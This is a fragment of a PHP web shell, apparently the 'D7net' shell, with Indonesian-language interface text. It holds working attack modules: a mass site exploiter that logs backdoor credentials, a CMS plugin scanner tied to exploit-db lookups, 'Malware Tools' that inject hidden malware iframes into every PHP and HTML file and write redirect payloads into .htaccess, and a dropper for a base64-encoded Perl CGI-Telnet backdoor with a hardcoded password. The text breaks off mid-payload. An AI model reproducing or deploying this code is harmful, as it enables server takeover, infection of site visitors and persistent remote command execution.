                $fp = fopen("exploited.txt", 'a+');
                fwrite($fp, "Exploitied  User: owlsquad Pass: owlsquad  =====> {$url}/user/login");
                fwrite($fp, "
");
                fwrite($fp, "--------------------------------------------------------------------------------------------------");
                fwrite($fp, "
");
                fclose($fp);
                               
                echo "<font color='lime'><b>Success:<font color='white'>owlsquad</font> Pass:<font color='white'>owlsquad</font> =><a href='{$url}/user/login' target=_blank ><font color='green'> {$url}/user/login </font></a></font></b><br>";
            } else {
                echo "<font color='red'><b>Failed => {$url}/user/login</font></b><br>";
            }
        }
               
        $urls = explode("
", $_POST['url']);
        foreach ($urls as $url) {
            $url = @trim($url);
            echo exploit($url);
        }
    }

}
elseif($_GET['D7net'] == cmsvuln) {
    @set_time_limit(0);
    @error_reporting(0);
// Script Functions , start ..!
function ask_exploit_db($component){
$exploitdb ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$component&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";
$result = @file_get_contents($exploitdb);
if (eregi("No results",$result))  {
echo"<td>OFF</td><td><a href='http://www.google.com/search?hl=en&q=download+$component'>Download</a></td></tr>";
}else{
echo"<td><a href='$exploitdb'>Klik Ini..!</a></td><td><--</td></tr>";
}
}
/**************************************************************/
/* Joomla Conf */
function get_components($site){
$source = @file_get_contents($site);
preg_match_all('{option,(.*?)/}i',$source,$f);
preg_match_all('{option=(.*?)(&amp;|&|")}i',$source,$f2);
preg_match_all('{/components/(.*?)/}i',$source,$f3);
$arz=array_merge($f2[1],$f[1],$f3[1]);
$coms=array();
if(count($arz)==0){ echo "<tr><td style='border-color:white' colspan=3> Fail ! Sites Error or Check Your Option</td></tr>";}
foreach(array_unique($arz) as $x){
$coms[]=$x;
}
foreach($coms as $comm){
echo "<tr><td>$comm</td>";
ask_exploit_db($comm);
}
}
/**************************************************************/
/* WP Conf */
function get_plugins($site){
$source = @file_get_contents($site);
preg_match_all("#/plugins/(.*?)/#i", $source, $f);
$plugins=array_unique($f[1]);
if(count($plugins)==0){ echo "<tr><td style='border-color:white' colspan=1>Failed ! Sites Error or Check your option</td></tr>";}
foreach($plugins as $plugin){
echo "<tr><td>$plugin</td>";
ask_exploit_db($plugin);
}
}
/**************************************************************/
/* Nuke's Conf */
function get_numod($site){
$source = @file_get_contents($site);
preg_match_all('{?name=(.*?)/}i',$source,$f);
preg_match_all('{?name=(.*?)(&amp;|&|l_op=")}i',$source,$f2);
preg_match_all('{/modules/(.*?)/}i',$source,$f3);
$arz=array_merge($f2[1],$f[1],$f3[1]);
$coms=array();
if(count($arz)==0){ echo "<tr><td style='border-color:white' colspan=3>[~]  Gak ada ! Keknya Site Error atau Option salah :-</td></tr>";}
foreach(array_unique($arz) as $x){
$coms[]=$x;
}
foreach($coms as $nmod){
echo "<tr><td>$nmod</td>";
ask_exploit_db($nmod);
}
}
/*****************************************************/
/* Xoops Conf */
function get_xoomod($site){
$source = @file_get_contents($site);
preg_match_all('{/modules/(.*?)/}i',$source,$f);
$arz=array_merge($f[1]);
$coms=array();
if(count($arz)==0){ echo "<tr><td style='border-color:white' colspan=3>[~]  Gak ada ! Keknya Site Error atau Option salah :-</td></tr>";}
foreach(array_unique($arz) as $x){
$coms[]=$x;
}
foreach($coms as $xmod){
echo "<tr><td>$xmod</td>";
ask_exploit_db($xmod);
}
}
/**************************************************************/
 /* Header */
function t_header($site){
echo'<br><hr color="white"><br><table align="center" border="1" style="border-color=white; text-align:left;" width="50%" cellspacing="1" cellpadding="5">';
echo'
<tr>
<td style="border-color=white">Site : <a href="'.$site.'">'.$site.'</a></td>
<td style="border-color=white">Exploit-db</b></td>
<td style="border-color=white">Exploit it !</td>
</tr>
';
}
echo '<div class="mybox" style="text-align:left">
<h1>CMS Vulnerability Scanner</h1><hr color="white">
<form method="POST" action=""  class="header-izz">
    <p>Link&nbsp&nbsp<input type="text" style="border:0;border-bottom:1px solid #292929; width:500px;" name="site" value="http://site.com/" >
    <br><br>
    CMS
    &nbsp&nbsp&nbsp<select  name="pilihan" style="border:0;border-bottom:1px solid #292929; width:500px;">
    <option>Wordpress</option>
    <option>Joomla</option>
    <option>Nukes</option>
    <option>Xoops</option> 
    </select><br><br>&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<input type="submit" style="width: 50px; height: 30px; border-color=white;margin:10px 2px 0 2px;" value="Sikat" class="kotak"></p>
</form>';
// Start Scan :P :P ...
if($_POST){
$site=strip_tags(trim($_POST['site']));
t_header($site);
echo $x01 = ($_POST['pilihan']=="Wordpress") ? get_plugins($site):"";
echo $x02 = ($_POST['pilihan']=="Joomla") ? get_components($site):"";
echo $x03 = ($_POST['pilihan']=="Nuke's") ? get_numod($site):"";
echo $x04 = ($_POST['pilihan']=="Xoops") ? get_xoomod($site):"";
}
exit;
}
elseif($_GET['D7net'] == 'mal')
    { 
@ini_set('output_buffering', 0); {
?>
    <form action="" method="post">
<br><center><font size=4>=[ Malware Tools ]=</font><br><br>
<font color="red">Private Network / Dial Up Modem ,PC Private , ato Home PC / NETWORK</font>&nbsp;(Ojo digawe goblok!!)<br><br>
    <input class='kotak' type='submit' name='redirect' value="Redirect Search Engine To Malware Site" /></td><td>
    <input type='submit' class='kotak' name='infect' value="Infect User" /></td><tr></table>
        <input type='submit' name='code' class='kotak' value="Code Insert" /></td><tr></table>
</center><br>

<?php
        if (isset($_POST['redirect'])) if ($myfile = fopen(".htaccess", 'a')) {
            fwrite($myfile, gzuncompress(base64_decode($mal)));
            fwrite($myfile, "

");
            fclose($myfile);
            ob_end_flush();
        } else echo "<script>alert('Malware Ga ke kirim Jancookk'); hideAll();</script>";
    }   if (isset($_POST['infect'])) {
        $coun = 0;
        $str = "<iframe width=0px height=0px frameborder=no name=frame1 src=" . $malsite . "> </iframe>";
        foreach (glob($_GET['dir'] . $directorysperator . "*.php") as $injectj00) {
            if ($myfile = fopen($injectj00, 'a')) {
                fputs($myfile, $str);
                fclose($myfile);
            } else $coun = 1;
        }
        foreach (glob($_GET['dir'] . $directorysperator . "*.htm") as $injectj00) {
            if ($myfile = fopen($injectj00, 'a')) {
                fputs($myfile, $str);
                fclose($myfile);
            } else $coun = 1;
        }
        foreach (glob($_GET['dir'] . $directorysperator . "*.html") as $injectj00) {
            if ($myfile = fopen($injectj00, 'a')) {
                fputs($myfile, $str);
                fclose($myfile);
            } else $coun = 1;
        }
        if ($coun == 0) echo "<script>alert('Malware Infect In user ... DONE...!!!!'); hideAll();</script>";
        else echo "<script>alert('Malware Ga ke kirim Jancookk'); hideAll();</script>";
    }
    if (!isset($_POST['code'])) {
        if ($file1 = fopen(".htaccess", 'r')) {
        } else echo "<script>alert('Malware Ga ke kirim Jancookk'); hideAll();</script>";
    } else {
        if ($myfile = fopen(".htaccess", 'a')) {
            fwrite($myfile, $_POST['code']);
            fwrite($myfile, "

");
            fclose($myfile);
            ob_end_flush();
        } else echo "Permission Denied";
    }
}
elseif($_GET['D7net'] == 'cgi') { 
 echo "<center/><br/><div class='mybox'>
 <h1>CGI-Telnet Version 1.3 </h1>
 <br>";
 
 
    mkdir('cgi2012', 0755);
    chdir('cgi2012');
        $kokdosya = ".htaccess";
        $dosya_adi = "$kokdosya";
        $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
        $metin = "AddHandler cgi-script .izo";    
        fwrite ( $dosya , $metin ) ;
        fclose ($dosya);
$cgi2012 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7CgokUGFzc3dvcmQgPSAiYmFuZHVuZ2tvdGFzYW1wYWgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfQoJZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTUwOwokcm93cz0gMjY7CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCW15ICRkaXIgPSRDdXJyZW50RGlyOwoJJGRpcj1+IHMvXFwvXFxcXC9nOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZjk5MDA7Cn0KdGQgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMyQkE4RUM7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmY5OTAwOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjY2MwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iIzAwMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKCjxhIGhyZWY9IiR